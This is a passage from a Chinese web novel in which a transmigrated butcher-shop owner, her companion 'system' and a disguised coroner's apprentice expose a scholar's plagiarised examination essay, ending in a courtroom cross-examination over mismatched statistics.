“对了,”张阿蛮系统又道:“方才令仪说的是真的吗?郭楚生考了几十年都没考上进士,还有人会投资他,替他还钱吗?”
“这一点你应该比我更清楚,在你们这个时代,举人的含金量还是很高的。”冷小幸推开房门道:“哪怕他一直考不中进士,也会有人需要他的举人身份。”
张阿蛮系统想起当初她爹为她选郭楚生入赘,不由点头认同,追问道:“可是,我看县太爷真的也厌恶郭楚生,他真的会放过郭楚生吗?”
“你觉得县太爷是个好官吗?”冷小幸边洗脸,边问。
张阿蛮系统立刻道:“当然是。”
“所以县太爷大概率不会在这件事上公报私仇。”冷小幸用帕子擦脸上的水渍。
张阿蛮系统闻言急了:“这怎么能算公报私仇呢?这是律法定的呀。”
“那你听说过有因为不还钱被革去功名的举人老爷吗?”冷小幸说着,从猪油罐抠出一点放在手心,双手抹开涂在脸上。
“没听说过。”张阿蛮系统嘟囔道:“可我一个杀猪的,平日里也不关心这个呀。”
“我也没有关注过,是我失策。”冷小幸取了根柳条,打开盐罐道“要不是今日吕令仪过来,我竟忘了这茬。”
冷小幸用柳条沾青盐,她道:“吕令仪说得那般笃定,她知书达礼,现在又是衙门的人,我猜她一定查过本朝没有这样的先例。”
接着,冷小幸端着水杯出房门,用柳条青盐刷过牙,漱过口,才缓缓道:“更何况,县太爷就算再不喜欢郭楚生。从某种意义上说,他与郭楚生也是利益共同体。县太爷若为了这样的小罪,就革去郭楚生的功名,一定会遭到其他官员的抵制,对他今后的仕途无意。学政那,也很能通过此事。”
“那怎么办?”张阿蛮系统心急如焚道。
“不着急。”冷小幸打了个哈欠,回房放下水杯,铺好床铺道:“等我明日好好看看郭楚生那篇策论再说。”
冷小幸说完,钻进被窝,合眼睡了。
张阿蛮系统知道,对冷小幸而言,天大地大吃饭睡觉最大。
它心里虽急,却也不再张口烦冷小幸。
58.代夫纳妾求子的商户女26
第二天一早,冷小幸等人吃过早饭,铺子照常开张,其他人自去忙活。
冷小幸则在书房翻找。
郭楚生虽然读书不太行,但书房收拾还算规整,尤其是那篇让他高中的策论对于他而言意义重大,很容易就被冷小幸找到。
冷小幸将策论从头到尾仔细读了一遍,策论开篇写自五年前海禁致使民生凋敝,曾经的繁华商贸枢纽毁于一旦,不少力夫失业变为流民有盗匪之患,且走私屡禁不止长此以往有可能出现官商勾结的贪腐乱象。
策论主张开放海禁,提出“弛禁通商、设关征税、以税养防”的核心论点。
文章最后,还提出了五条切实可行的具体举措。
冷小幸放下策论,手指敲着桌子,对张阿蛮系统道:“吕令仪的感觉没错,这篇策论高瞻远瞩,务求实效,的确不像郭楚生能写出来的。
“那能以此革去他的功名吗?”张阿蛮系统满怀期待有不确定道。
“当然不行,”冷小幸起身继续翻找道:“得找出能证实他策论抄袭的证据才行。”
不一会,冷小幸找到了当初险些被郭楚生烧毁,却让高氏救下,送去官府的那一匣子作为证据的策论习作。
她一份一份看过后举着书稿晃动,对张阿蛮系统道:“怪不得官府当时据此认定策论出自郭楚生之手,看起来确实是一篇比一篇写得好,改动合理,时间也对得上。”
“那怎么办?”张阿蛮系统不懂这些,干巴巴问道。
“无妨,我再看看。”冷小幸仔细比对每一篇习作,发现有三组数据从头到尾没有变过。一是禁海造成的失业人数。二是码头废弃船坞的数量。三是走私商船获利金额。
冷小幸将这些数据抄到纸上,又添了几句话对张阿蛮系统道:“破局的关键应当就在这些数据上。我们要找出这些数据的来源。”
“怎么找?”张阿蛮系统忙问道。
冷小幸放下笔,等墨迹凝固,将纸折起道:“这些应当有官府公开的数据,我猜这三组数据中一定有跟官府数据对不上的。”
“官府公开数据?”张阿蛮系统一知半解道:“书局会有吗?那我们快走,去找找看。”
冷小幸将写好的纸条折好,用油皮纸包起来道:“我们不去,你从前对这些事没兴趣,突然去书局找几十年前的时政要闻,岂不怪异?况且我们连着打了两场官司,余温尚在,叫人看到我们去书局传扬出去,让郭楚生察觉就不好了,交给吕令仪去办吧,我相信她能办好。”
将包好纸条藏入袖中,冷小幸走出书房,已接近晌午。
厨娘正在做午饭,张铁妞在旁剁鱼块,丫鬟在院子里杀鸡拔毛。
冷小幸取了几个食盒,将各色腊肉分装好,在其中一个小食盒中放入纸条,又用篮子装了一份。
她指着篮子对张铁妞道:“你去看看昨日县堂外,看热闹的大肚子壮汉是不是在外面排队买腊肉?要是在,把这篮子腊肉给他,就说多谢他昨日仗义直言,不用给钱。”
张铁妞洗干净手,拿起篮子道:“表姑说的是东街的米大肚吧?”
“他真叫大肚啊?”冷小幸诧异道。
“啊?不是,不是。”张铁妞摆手道:“是因为他肚子大,也不知道谁给他起了这么个浑名,大家都这么叫开了。他本来叫什么,我也不知道。”
冷小幸闻言点头,又嘱咐道:“你给他的时候,叫人家米大哥,可不敢叫米大肚,知道吗?”
“知道,表姑你放心吧,我这就去。”张铁妞兴冲冲抬腿走了。
丫鬟拎着鸡脚起身失声道:“东家,还,还要免费送吗?”
冷小幸见她满脸一朝被蛇咬十年怕井绳的忐忑神情,柔声道:“没事的,上你发善心给苗秀莲腊肉没有做错,后来的事一点都不怪你,不要再放在心上了。”
丫鬟欲言又止,终是几不可闻答应一声,蹲下继续拔毛。
冷小幸不再多言,拿起张铁妞放下的文武刀,剁未剁完的鱼块。
张阿蛮系统催道:“你倒是再说几句,开解开解她呀,这丫头从小就这样,有点什么事都放在心里,轻易想不开。”
“不用,”冷小幸刀起刀落道:“时间会冲淡一切,现在说什么她都听不进去。”
“这次的事确确实实把这丫头吓着了,都怪杨老头、杨老太,他们夫妇可真不是东西。”张阿蛮系统不满道:“那个苗秀莲也很奇怪,好端端的非要撞柱,居然用死诬陷我们,明明跟她往日无冤近日无仇的,也不知道她发什么疯。你还好心给她包子吃,哼。”
冷小幸手下不停道:“苗秀莲确实有点奇怪,这里面大概是有什么隐情,又或许她有苦衷吧。”
“不管她有什么苦衷,跟咱们有什么关系?再怎么样也不能把杀人的罪名扣在咱们头上呀,什么人嘛。”张阿蛮系统嘟囔道。
冷小幸把剁好的鱼放进盆中道:“你说的对,她不该这么做。不过,眼下案子已经结了,无谓再计较这些,徒增烦恼。”
一人一统闲聊见,张铁妞兴高采烈回来了,冲着冷小幸笑呵呵道:“表姑,东西给掉了,米大肚让我代他好好谢谢你。剩下的食客也都说了很多好话,他们说知道咱们家是冤枉的。”
冷小幸笑了笑,从水盆里拿出一条鱼放到案板上,用下巴示意台面上的几个食盒,对张铁妞道:“这几个食盒你拿到县衙去,感谢县太爷还咱们清白。最大是县太爷的,剩下除了最小的那个食盒,都让衙门里的官吏们自己分。”
“县太爷你怕是见不着,请衙役大哥们帮你转交就行。最小的那个小食盒你可要亲手交给昨日上堂的仵作学徒。”冷小幸叮嘱道。
张铁妞边拿食盒边问:“为什么要单另给学徒啊?”
“以前没见过他,应该是个外乡人,不知道有没有忌口,你送过去也好说清楚咱们都用了些什么,免得人家吃了起疹子。”冷小幸解释道。
“哦,”张铁妞挎着食盒出门了。
张阿蛮系统担心道:“这能成吗?你不是说我们现在不方便跟令仪接触吗?”
“我说的不方便,是指我们只跟她接触,”冷小幸无语道:“现在感谢整个县衙的人,怕什么
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?你这是怎么了?你不该想不通呀。”
张阿蛮系统叹了口气道:“我这不是怕给令仪惹麻烦嘛。”
“你对她可真是好,”冷小幸揶揄道:“刚才我装腊肉,都不知道你说了多少遍她不吃鱼,听得我耳朵都茧子了。”
“嘿嘿,”张阿蛮系统傻笑道。
冷小幸把鱼剁完,再用自家炒的椒盐均匀抹在鱼块上,她一边干,一边道:“说起来吕令仪虽然不是本府的,可她从邻县过来也不远,这两地都在海边,她居然不吃鱼。”
“这也不奇怪,每个人的口味不同。”张阿蛮系统解释道:“不过令仪她不吃鱼,是因为之前一场水患,害得她家破人亡,不得不卖身葬母。”
“是她告诉你的?”冷小幸觉得奇怪:“我看她不像是会主动揭开伤口,说这些话的人。”
张阿蛮系统黯然道:“是我察觉到的,我们在海边嘛,鱼虾就是我们常吃的东西,她来以后我发现每次吃饭,她从不主动夹海物,等跟她熟络了,专门问了她才知道的。”
“原来是这样。”冷小幸将椒盐好道。
厨娘已经烧好了几盘菜,正在炒最后一盘。
冷小幸和丫鬟洗了手,把饭菜、碗筷端到堂屋。
刚把菜给伙计们留好,放在早上温着,张铁妞也赶回来了。
冷小幸对张铁妞笑道“正好,快洗手吃饭。”
张铁妞忙忙洗过手,端起饭碗飞快吃完,去外面换伙计们进来吃饭。
张阿蛮系统忽然感慨道:“你来了,可真好啊。”
“好端端的,”冷小幸失笑夹了块腊肉炒年糕里的年糕道:“怎么又说这话?又打哪里让你发出这样的感叹呀?”
张阿蛮系统先是伤感道:“以前我爹在的时候,我们也是和厨娘、丫鬟、伙计们一起吃饭的。后来我爹走了,高氏那老虔婆明里暗里说我们跟下人一起吃饭,不成体统,就变成了我、郭楚生、高氏和,和郭亚男,我们一家四口在堂屋吃,厨娘他们在厨房吃。”
“可自从你来了没多久,又变回原来的样子了,大家一起热热闹闹吃饭,真好呀。”张阿蛮系统语气轻快起来。
冷小幸听了,只觉心里软软,像是被云朵包裹起来,不由叹道:“你能知足常乐,这就很好。”
平淡又幸福的日子总是过得很快,时光不知不觉从指缝溜走。
几日后,吕令仪恢复女装,手里拿了几个册子再次登门道:“姐姐,我查过了,这三组数据竟然没有一组与官府公开数据相吻合的。”
“一组都没有?”冷小幸挑眉诧异道。
“是,秋闱在八月,官府公布数据在每年元月。”吕令仪翻开册子道:“我查了郭楚生科考那年元月官府公布的数据,三组都不一致,但相差的数据并不大,几乎只是个位数的区别。”
“那么他这篇策论很可能是抄袭的。原作者的数据应该是在官府数据公布后,通过其它渠道获得的,郭楚生并不知道以为原作者用的是官府数据,他也没查证,便直接用了。”冷小幸思索道:“可问题是,他抄袭的是谁呢?”
59.代夫纳妾求子的商户女27
下一瞬,冷小幸、吕令仪、张阿蛮系统异口同声道:“郑夫子。”
“没错,这也就解释了为什么当年那些官员没有以此认定郭楚生抄袭,”吕令仪以拳击掌道:“官员们即便在元月发布这些数据时了然于胸,但发榜是九月,过了这么长时间,很难精确记得每一个数字。”
“且有不少治学之人会从坊间渔民、码头力夫等人口中打听实时数据,与官府统计时间不同,数据不吻合也是常有之事。”吕令仪补充道。
冷小幸点头赞同,又问到:“令仪,你在县衙能不能私下找到当初郑夫子与郭楚生那桩案子的卷宗?”
“能是能,但有点麻烦,也不能将卷宗带出县衙架阁库。”吕令仪边思考,边谨慎回道。
冷小幸摆手道:“不用带出来,你找到之后,尽量背下来,回房默出一份,小心些,若是不能做到,不必强求,一切以你的安危为上。”
“郑夫子的后事是郭楚生办的,我在书房里好好找找,看看有没有郑夫子留下的蛛丝马迹。”冷小幸接着道。
两人商量完正事,冷小幸问吕令仪道:“你今后有什么打算?”
“我,我想做仵作。”吕令仪实话实话。
冷小幸对张阿蛮系统含笑道:“果然如你所说。”
“那可不,”张阿蛮系统得意道。
冷小幸按照她之前与张阿蛮系统商量好的,对吕令仪道:“你要是愿意,等这事了结,我们找个由头,认个远方亲戚或是干亲,你就搬到这住吧,县衙都是男人,你住着多少有些不方便。”
“姐姐肯收留我,我当然愿意。”吕令仪脆生生道。
“那就好。”冷小幸柔声笑道:“东厢房是高氏从前住的,前段时间忙忙乱乱还没顾上收拾。正好,趁这段时间把它好好收拾收拾,等认了亲,你刚好搬来住。”
“使不得,”吕令仪连忙推辞道:“我怎么好住那呢?姐姐要是不嫌,我仍住堂屋西侧那间屋子便好。”
“哎,你不用客气,反正东厢房现在没人住,你安心住着就行。”冷小幸拍拍吕令仪的手道。
吕令仪却道:“现在没人住不代表以后没有,我瞧着姐姐有意让铁妞继承家业,将来她总不能一直住在张叔父家中,到底还是要搬来才方便,她住东厢房正合适。”
冷小幸和张阿蛮系统都没有想到,吕令仪会说出这样的话来。
张阿蛮系统觉得甚是欣慰。
冷小幸只觉心疼,这世上女子总会更懂事些,较之男子她们则更愿意主动委屈自己。
想了想,冷小幸道:“你既然这么说,就按你说的来,等再挣些钱,咱们换个大宅子,让你们都舒舒服服住下。”
“好。”吕令仪满口答应,她并没有将这话放在心上,只当哄冷小幸开心。
又说了几句闲话,吕令仪才告辞。
她走后,冷小幸吩咐丫鬟抽时间把东厢房、堂屋东西两侧的三间屋子收拾出来,高氏、郭楚生、柳氏主仆的东西该卖的便卖掉。
冷小幸如今不过是个有点小钱的腊肉铺掌柜,当然能省则省。
且这个时代穿过的衣服、用过的东西,基本都可以卖钱,苍蝇再少也是肉,何况张阿蛮给那母子置办的东西都是好的。
柳氏主仆的东西,几乎都是郭亚男置办的,她不当家不知道油盐柴米贵,给自个亲爹,能给她生同父异母弟弟的外室,别提多舍得花钱了。
零零总总加起来,能卖不少钱呢。
丫鬟一面答应一面问:“那书房里的东西要拿去卖给书坊吗?”
“不用,以后咱们家凡是书籍类的东西都不卖。”冷小幸摸着下巴,沉吟道。
丫鬟应是,自去忙活。
张阿蛮系统不解道:“现在不卖书,是为了找证据,为什么以后都不卖?”
“难道你家要世世代代只做屠夫吗?”
“为什么不行?”张阿蛮系统语气里充满了我是屠夫我骄傲的自豪。
“当然行,”冷小幸意识到方才的话有歧义,忙解释道:“我没有说做屠夫不好的意思,我的意思是读书明智,以后铁妞她们可以多读读,没有坏处的。”
“什么叫读书明智?”张阿蛮系统没有计较冷小幸言语轻慢,虚心求教道。
“嗯......”冷小幸想了想用了句耳熟能详的诗解释道:“书中自有千钟粟,书中自有黄金屋,书中车马多如簇,书中自有颜如玉。”
“意思就是读书能有钱有势,娶漂亮男人。”张阿蛮系统直白理解。
“对,”冷小幸更进一步解释道:“不过在这个时代,读书科举是男人争权夺利的手段。但不代表女人读书是无用的,至少会开阔视野,知古鉴今。”
张阿蛮系统似懂非懂道:“哦。”
“总之,督促后代读书是没错的。”冷小幸一锤定音。
张阿蛮系统道:“好吧,我会把这个当做家训的。”
一人一统定下此事,此刻的张阿蛮系统并不知道她的决定会给后来的人带来多么大的改变。
这会,它正惋惜道:“可惜郑夫子已死,死无对证,不然我们也不用这么麻烦。”
“如果他不死,估计当年郭楚生就被戳穿了,”冷小幸亦叹道:“可不是没有这么多麻烦了,还得我来收拾烂摊子。”
冷小幸边说,边挽起袖子在书房翻找郑夫子可能留下的痕迹。
很遗憾,她把整个书房边边角角,所有的书稿都打开,没有一个字是郑夫子写的。
张阿蛮系统忧心忡忡道:“郭楚生那个畜生,不会全都烧毁了吧?”
“很有可能。人证物证,仅凭我们对郭楚生的了解,就判定他的策论抄袭,是不可能的。”冷小幸坐在桌前,表情凝重道:“为今之计,只能看吕令仪带来的卷宗上是否有突破口。”
吕令仪是仵作徒弟,平日里等闲接触不到案件卷宗。
过了十来天,吕令仪才带来她默写出的卷宗,把卷宗交给冷小幸,她道:“姐姐,我仔细看了,好像没有什么不对的地方。”
冷小幸接过,见从判案程序、证据、招册、审语,各个方面确实找不出破绽。
张阿蛮系统见冷小幸、吕令仪皆一筹莫展,她却帮不上忙不甘道:“难道就这么算了?”
冷小幸还未回答,见丫鬟提着一个包袱从门口闪过。
大约是见吕令仪在,丫鬟不敢贸然进屋,打扰冷小幸与吕令仪谈生意。
冷小幸扬声叫住准备离开的丫鬟道:“什么
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事?”
丫鬟听见,才进屋道:“东家,这些是那三件屋子收拾出来卖不掉的东西,想让您能看看还要不要?”
“先放那吧,没什么特殊的吧?”冷小幸瞥了一眼,没当回事道。
丫鬟依言将包袱放到桌上道:“从东厢房翻出一个樟木匣,里面放了一册书,还有些写了字的纸,按您的吩咐没卖也在这里。”
“东厢房?”冷小幸诧异道:“高氏又不识字,她怎么会收着这些东西?拿来我看看。”
丫鬟打开包袱,取出一个樟木匣,递到冷小幸手中道:“估计她早就忘了吧,这匣子是跟一推杂七杂八的东西混在一个布袋里,那个布袋看起来像是很久没打开过。”
冷小幸将匣子打开,见里面放着一个麻线装订的小册子,册子封面写着《海禁困局私录》几个大字,落款是介如二字。
“介如,是郑夫子的表字啊。”将脑袋凑过来,和冷小幸一起看的吕令仪惊呼道。
冷小幸看了眼吕令仪,没吭声,伸手将册子翻开,与吕令仪、张阿蛮系统同看,见上面详细记录了郑夫子实地走访沿海村庄的见闻,上面有写渔户因海禁之后不得越界,导致渔获减少十户九贫,甚至有鱼户不得不卖儿卖女。也写到部分地域荒废旧坞改为盐场。还有走私船遭遇风暴沉没,货主因亏空自尽等事。
她们更是在册子上找到和郭楚生策论上一模一样的三组数据。
“看来郑夫子没有冤枉郭楚生,真的是郭楚生抄袭了他,可为什么郑夫子当时不拿出这册子作为证据呢?”张阿蛮系统不解道。
冷小幸拿起案件卷宗,对张阿蛮系统解释道:“郑夫子当时被传唤应该很匆忙,去叫他的衙役很可能并没有告诉他是为了何事。所以他并没有带着手册前去,后来他当堂被气到中风,口不能语,自然也拿不出这份证据。”
“姐姐,我们可以凭此去告郭楚生吗?”吕令仪拿不定主意道。
“不行,”冷小幸摇头道:“这份册子是从高氏之前住的屋子找出,并不能证明出自郑夫子之手,即便能对照笔记,也不是铁证,我们还需要找到其它证据,务必一击即中。”
冷小幸将册子又看过一遍后放到一旁,拿出樟木匣中剩下的纸张与吕令仪一同细看。
看完后,吕令仪双眸含泪,情难自抑。
冷小幸低声安慰了她几句。
等吕令仪收了泪,冷小幸拿出一张纸,与吕令仪商议怎样找出证据。
直到临近傍晚,两人才讨论完毕。
冷小幸道:“那我们便分工,各自去找证据。”
“姐姐......”吕令仪欲言又止,面露为难。
冷小幸柔声软语道:“先不管其它,把证据找齐了再说。”
吕令仪面带羞愧的点头应是。
冷小幸指着吕令仪的眼角道:“我就不留你吃饭了,你回去也小心些,不要让别人看出痕迹。”
“我知道,”吕令仪强笑道:“姐姐放心。”
吕令仪告辞,冷小幸照例把她送出门。
正收摊的伙计们见吕令仪走远,年轻点的伙计压低声音问道:“东家,她来了几次,还没定好买什么吗?不是说有大宗买卖给咱们吗?该不会是骗子吧?”
60.代夫纳妾求子的商户女28
“别胡说,”冷小幸道:“人家已经把定金付了。”
年轻伙计轻轻给自己一个嘴巴子,怪叫道,“哎呦,都都是我多嘴。”
“呵呵,”冷小幸被逗笑道:“好了,快别贫嘴了,赶紧收拾了,进来吃饭吧。”
“哎,”年轻伙计满嘴答应,声音积极阳光。
饭桌上,冷小幸对张铁妞道:“你待会回去跟叔父说一声,咱们接了一笔大买卖,你跟我一起去进货,得在外面待几天。”
“好。”张铁妞笑盈盈道。
冷小幸她们这一走,就走了十来天。
回来的时候,带了一板车的鸡鸭鱼肉。
吕令仪得到消息赶来。
冷小幸看着她,将经过一五一十讲清,最后道:“眼下只剩一件事未定,你怎么想?”
吕令仪咬着嘴唇,一时没有吭声。
张阿蛮系统疑惑道:“你俩打什么哑谜呢?”
“朝廷没有设立公诉制度,如果没有原告出面,我们很难发起这个案子。”冷小幸解释道。
张阿蛮系统闻言急了:“那怎么办?忙活了这么一大堆,白忙了吗?”
“现在我们有两个选择,”冷小幸注视着吕令仪道:“或者现在要看令仪她怎么选。”
“姐姐,这些天我也反复想了很多遍,可事到临头还是有些犹豫。姐姐,你说我该怎么办?”吕令仪求助道。
冷小幸平淡道:“令仪,我不能替你拿这个主意。这是你一生中最重要的选择之一,但我可以告诉你,无论你选什么,我都会支持你。我也向你保证,无论如何我一定会为郑夫子讨回公道,将郭楚生绳之以法。”
“不,姐姐,我要亲自告他。”吕令仪激动道。
“令仪,”冷小幸劝道:“你若告他,必要严明身份。那么,你几乎不可能再女扮男装做仵作。”
“我知道。可是我身为人女,怎能不为父报仇?”吕令仪坚定道:“我若不出面,姐姐打算用什么办法?这些天我已查阅清楚,我爹他已经没有别的亲人了。姐姐此去也一定没有找到我爹的其他亲眷。不然你不会这么问。”
“算了吧,姐姐,就让我去吧,换成其他原告,力度不够,也不会有我尽心。”吕令仪强笑道。
冷小幸满眼心疼问道:“令仪,你是真心实意喜欢做仵作,还是为了生存的权宜之计?”
“我,我一开始确实是不想再被牙婆卖掉。迫于无奈,跟了师父。可是现在,我是心甘情愿想做一个好仵作,替死者说话。”吕令仪实诚道。
冷小幸郑重道:“令仪,等这件事情了结。我会尽我所能助你重新当上仵作。”
“好,我相信姐姐。”吕令仪说这话只是为了让冷小幸心安。
她心知肚明,一旦揭破她女儿家的身份,怎么可能再当仵作?仵作是官吏,不会让女人来做的。
冷小幸递出一张早就准备好的纸,给吕令仪道:“那么就由你去找这些人回来作证吧。”
吕令仪接过,小心收好,与冷小幸商定了些细节,才起身告辞。
五日后,吕令仪着孝服,一身女子装扮,在县衙外击鼓鸣冤。
看热闹的百姓窃窃私语道:“这是哪家姑娘?”
“瞧着面善,想不起来打哪见过。”
“哎,我好像见这姑娘进过张家腊肉铺。”
“那不成是张掌柜家的亲戚?”
“胡说,张掌柜的亲戚都在城里。”米大肚说完,抬眼见到一行人从不远处走来,忙道:“那不是张掌柜吗?张掌柜,你认得这姑娘吗?”
冷小幸走近,跟熟悉的街坊打了招呼,又刻意抬头看敲鼓者,辨认过才淡淡道:“认得,前几日她来我家买腊肉,”
“那你知道她要状告谁?为的什么事吗?”
冷小幸摊手道:“这我可就不知道了。”
“你们快看衙役出来了。”人群中有人喊道。
吕令仪跟着衙役进了县衙。
县太爷收了诉状,升堂道:“你是何人?有何冤屈,速速道来。”
吕令仪双膝跪地,脊背挺得笔直,叩首道:“民女吕令仪,状告本县举人郭楚生,剽窃民女先父策论,伪造习作证物,先诓骗功名,后构陷先父致其当堂中风,不久气绝身亡,恳请大人重审此案,为先父申冤!”
话音落地,堂外看热闹的百姓立刻有人道:“又是郭楚生。”
“就是就是,怎么又是他?这几日功夫,三次了,他别是犯小人,得罪哪路神仙了吧。”
“这姑娘的爹是谁啊?”
“你不知道啊,十几年前那案子可轰动了,鼎鼎有名的郑夫子污蔑郭举人抄袭案,我记得郑夫人当时人就不太行了,没几天就死了。”
“我知道,我知道,但没听说他还有女儿啊,唉,你别说这姑娘长得是有点像郑夫子。”
“当年不是判了吗?是郑夫子污蔑郭举人,怎么又翻出来了。”
“这谁知道,哎,张掌柜你是不是有什么内幕消息啊,你跟这姑娘商量好的?”一个油嘴滑舌的泼皮挤眉弄眼道:“我就说嘛,怪不得你今天不守铺子,居然带着人跑来看热闹,都不像你了。”
冷小幸笑呵呵打了泼皮一下,把泼皮打了个趔趄,她笑道:“没有啊,铺子伙计们看着呢,我这不是前段时间没个消停,今好不容易有时间,我们几个出来逛逛街,谁知道又扯到那个畜生,真是晦气,呸。”
泼皮揉着臂膀,呲着牙干笑道:“张掌柜您不愧是杀猪的,这手劲真大啊。”
“是吗?”冷小幸一脸无辜道:“对不住,没想到你看着人高马大,倒是细皮嫩肉的,不经碰。”
堂下说得热闹,堂上县太爷听完吕令仪所言,眉心蹙起道:“你要状告郭楚生举人剽窃,可有状纸?”
“有。”吕令仪从怀中取出状纸,双手呈上。
书吏上前接过,转呈县太爷案头。
县太爷展开看了一遍,吩咐衙役传郭楚生、高氏前来。
不多时,郭楚生与高氏匆忙赶到,待听清吕令仪状告何事后拱手道:“大人明鉴,我早年间确蒙郑夫人收留,亦常感念其恩,何况此事当年便已判的明明白白,何来剽窃杀人之说?”
县太爷先对郭楚生:“郭举人休要激动。”
又对吕令仪道:“你既状告郭举人剽窃策论,可有证据?”
吕令仪从怀中取出樟木匣,双手举过
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头顶道:“民女有先父亲笔手札为证,此乃是先父研究海禁之心血,其中所载策论,与郭楚生当年科举高中之策论,多有雷同之处。”
书吏接过,呈给县太爷。
县太爷将匣子打开,取出一本薄薄的册子和几页尚未装订的纸张。
册子起了毛边,看起来像被人时常翻阅。
郭楚生目光落在那册子纸张上,瞳仁微缩。
高氏面带困惑,随即指着吕令仪厉声喝道:“你休要血口喷人,我儿自幼苦读,文章都是自己一笔一划写出来的,你一个妇道人家,凭什么红口白牙污人清白?”
“大人,当年我儿为了报答郑夫子收留之恩,竟甘愿烧毁习作,认下罪名,而今不知从哪跑来的野丫头不知受何人指使诬陷我儿,还请大人做主啊。”高氏又对县太爷哭诉道。
“大人,”郭楚生镇定自若拱手道:“当年我的策论,乃是日夜苦读、潜心研究所得,郑夫子当年虽指点过我,却与剽窃无关。当年我的习作曾被抄录作为证据在县衙存档,大人一查便知,抄袭之事纯属无稽之谈。”
县太爷命书吏取来习作抄录卷以及当年郭楚生高中解元的那篇策论。
他对照发现,习作虽然一次比一次精进,但大部分精进在文笔措辞,和极少部分的具体措施进一步完善。
吕令仪呈上的那几纸上是郑夫子未写完的策论,其文章结构,论点、论述、最后的开海禁措施与郭楚生的策论大致相同。
而手札则详细记录了郑夫子走访沿海村庄的所见所闻,与策论中海禁造成的后果一一对应,也能从中提炼出策论所写的五条切实可行的具体举措。
县太爷让书吏将纸张交给郭楚生,问道:“郭举人,你可认得此物?”
郭楚生从书吏手中接过翻看,他面上不动声色,手却微微颤抖,看完忙递还书吏道:“回大人,我从未见过此物,上面的字迹确实与郑夫子有几分相似,但世间能人何其之多,是否有人伪造也未可知,还请大人明察。”
“你撒谎,”吕令仪对郭楚生怒目而视道:“十七年前,我爹好心收留你,你却恩将仇报。好,你说策论是你自己写的,那我问你策论里的三组数据:禁海后生计无着者几何,沿海废弃码头几处,走私商船造成的亏损多少,这些数字你从何处得来?”
“自然是查阅官方文书,并询问相关人等,综合得出此乃治学之人寻常之法。”郭楚生从容不迫道。
吕令仪似笑非笑道:“郭举人不愧是高中解元之人,本朝讲究科考前行万里路,已补读书之所不及,实地走访方可写就策论,这些数据原来也是郭举人问询沿海当地村落得出的呀。”
“当然不是,”郭楚生面露愧意道:“我家贫,怎能舍下母亲远行?且郑夫子好意收留,我又怎能扔下书院琐事,只顾自己?是以我只问了往来人员,不曾亲身前往。”
张阿蛮系统听了,对冷小幸道:“你说对了,这个坑,他没跳。”
“他常年看官方文书,自然知道自己的数据和文书对不上。”冷小幸嘴角勾笑道:“他也不敢说是他实地考察来的,毕竟他那时候天天在书院,分身无术。没关系,后面的坑多着呢,总有一个是他喜欢想跳的。”
61.代夫纳妾求子的商户女29
“好,”吕令仪冷笑道:“你既然说策论数据是参考官方文书,询问相关人员所得,我斗胆请问郭举人你策论中写因禁海失业者共两万七千八百六十三人,这里面包不包括渔户家的妇孺?算不算半失业的船工?是以户计,还是以丁计?”
“这......”郭楚生一时难以作答。
吕令仪嘲讽道:“郭大举人中不会不记得了吧?就算时间久了,但你治学写作的习惯应该一脉相承,不会变呀。”
“我儿凭什么告诉你这个野丫头,你算什么东西,也敢问我儿,还不快滚。”高氏撒泼道。
县太爷拍惊堂木斥责高氏道:“休要喧哗,再有下次绝不轻饶。”
一语镇住高氏,县太爷对郭楚生道:“郭举人请你如实回答这位姑娘的问题,你的回答将被记录在册,送往学政。”
“是,是按渔户数,不算家中妇孺,以丁计。”郭楚生舔了舔嘴唇,涩声道。
县太爷翻了翻手札,看到其中一页一模一样的数据旁有一行小字,批注道:“此数仅算成年男丁,不计家口,以丁计不以户计。”
“渔户有成年男子,也有未成年的男儿,你是按什么算的?”县太爷放下手札,盯着郭楚生道。
郭楚生微微低头,不知该如何作答,心中飞快盘算。
“说,”县太爷厉声喝问。
“大人,”郭楚生抬头皱眉道:“我实在记不得了。”
县太爷面无表情道:“郭举人,这些年你不止写过这一篇策论,需要本官将其它策论找来,研究清楚你的统计习惯吗?”
“大人,那时我既未去过实地,应当是按询问所得,也不知被问的人是按什么计数的,实难回答。”郭楚生灵机一动道:“我之后的策论都是实地考察过的,数据统计口径与这篇不同,不能一概而论。”
县太爷还要再问。
吕令仪抢先开口道:“大人,郭举人说得也有道理,不如让我再问问其它数据。”
县太爷点头默许。
吕令仪对郭楚生道:“敢问郭举人,你所写沿海废弃码头共一百七十九座,比当年官府统计的一百六十七座多了十二座,这是为何?”
“姑娘有所不知,码头分为官码头和民码头,”郭楚生额头渗出细汗,声线却稳:“官府统计仅为官码头,我却将民码头也记录在内,所以多了些。”
“呵,我猜郭举人抄袭之后,定然也去翻过当年元月的官方统计文书,心里肯定盘算过我爹策论中数据与官方文书对不上的点在哪里,你自以为推测正确,却差之千里。”吕令仪讥笑道。
“确有官民码头之分,”吕令仪一字一句说得分明:“只可惜你猜错了,这多出的十二座皆为官码头,因为改建成盐场,所以官方文书未仍将其算作废码头,但我爹挨个走访见盐场效益不高,仍将其算作废码头。”
“一派胡言,这定然只是巧合。若不是当年有些民码头未在官府登记,现又时过境迁部分民码头另做他用,具不可考,哪轮得到你在此大放厥词,混肴视听。”郭楚生指着吕令仪道。
吕令仪上前,打落郭楚生的手指,大声道:“怪不得,你要说多出来的是民码头呢,原来不可考呀。”
围观百姓交头接耳道:“怎么回事?这策论不会真是抄袭的吧?”
“或许真是巧合呢,这两个数据来源,郭举人给的理由都说得过去呀。”
人群渐渐分为两派。
吕令仪接着道:“郭举人别急,还有第三个数据呢,你写走私商船造成的亏损高达十万七千两有余,这可比官方给出的数高出许多呀,你又作何解?”
“你也说了,官府数据是元月给出,我写策论时已过了好几个月,数据变大,难道不正常吗?”郭楚生从容不迫道。
吕令仪点头称是,又问:“科考是八月,这么说郭举人给你数据是算到八月?”
“不是,”郭楚生一脸你给我挖坑,但我不上当的傲然神情道:“我初次作这篇策论是六月,数据自然是截止到六月。”
“原来如此,可郭举人还是没说明白,为什么高了这么多?”吕令仪再问。
郭楚生皱着眉头道:“我方才不是说了,多了六个月的数字。”
“呵,郭举人你治学态度不严谨啊,”吕令仪挑眉上前道:“你可知每年一至六月,走私商船造成的损失大概有多少?”
郭楚生微微后退半步。
吕令仪步步紧逼道:“你可知,你所写造成的亏损数比来年元月的官府统计只差一点,你倒是说说看,这么一笔钱绝非往年六个月走私亏损的数字是怎么多出来的?”
“我,这,”郭楚生连连后退道:“姑娘,男女授受不亲,你不要靠我这么近。”
“哈哈哈,郭举人,你这顾左右而言他,也非免牵强了些吧。”吕令仪上下打量着郭楚生道:“再说,你这半截身子埋黄土的老不擦擦,我可看不上,你别往自个脸上贴金。”
